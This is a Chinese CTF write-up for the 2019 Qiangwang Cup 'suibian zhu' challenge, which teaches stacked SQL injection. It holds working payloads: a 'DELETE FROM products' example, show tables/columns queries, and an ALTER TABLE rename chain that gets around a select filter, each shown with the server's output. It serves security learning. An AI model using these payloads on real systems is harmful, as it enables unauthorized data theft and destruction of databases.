CTF SQL注入 强网杯2019随便注

原创

&#……%@ 于 2020-09-14 16:13:51 发布 323 收藏 1

自己整理一下关于CTF一些知识

堆叠注入

> 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为： Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

参考例题为强网杯2019随便注

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


输入1,2都有回显，但输入3就报错，说明只有两个字段。
输入1'有报错，输入1'正常显示，说明有sql注入点。可以猜到数据库后台类似于select * from id='1'；
老样子，第一个想到的是用联合查询union select，但是发现select被过滤了。这时候只能用堆叠注入。

查表

```
1';show tables;
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```


发现两个表，一个是1919810931114514，一个是words。
我们查阅words表的列名

```
1';show columns from words;
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```


再同理查阅1919810931114514的列名

```
1';show columns from `1919810931114514`;
```

这里需要注意的是mysql查询纯数字的列名、表名时需要加上反引号`。

发现里面有flag字段，应该就是在这里了

通过1' or '1'='1来获取所有当前表的内容并没有flag字段，又由于总共只有两个表。由此可知，当前表是words，如果不用select来查询其他表的内容呢？通过修改表名的方式来实现。将当前表改为其他表名，将“1919810931114514”改为“words"那么查询当前表实际上就是查询的“1919810931114514”表的内容。

这里就要懂得基本的sql语法了，

```
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change fl
ag id varchar(100);#
```

再用or语句

```
1' or 1=1#
```

可以爆出所有的内容。

两个问题：

1.为什么1' or 1=1#可以爆出所有可以爆出的内容?

if（select '字段名' from ）｛

show 内容

｝

然后注入后是

if（select '1' or '1'='1' ）{

show 内容

}

括号里永真所以就被执行了

2.alter table words change flag data varchar(100);#

执行这句话的时候我试过把flag改成data字段，但是结果却是显示有错误，不知道是什么原因只能修改到id字段?

应该是1919810931114514表中没有id字段，但是它搜索时优先搜索id字段（因为它在前面）。所以会报错。

总结：

1.遇到表爆不出来全部，只能爆出来一部分的时候，可以考虑换名字重命名绕过。

2.select等关键字被过滤，可以考虑用堆叠注入show tables之类的，看看有没有有用信息。

3.mysql重命名语句：`1'; alter table words rename to words1;`

mysql更改字段名语句：`1'; alter table 表名 change 字段名 新字段名 类型;`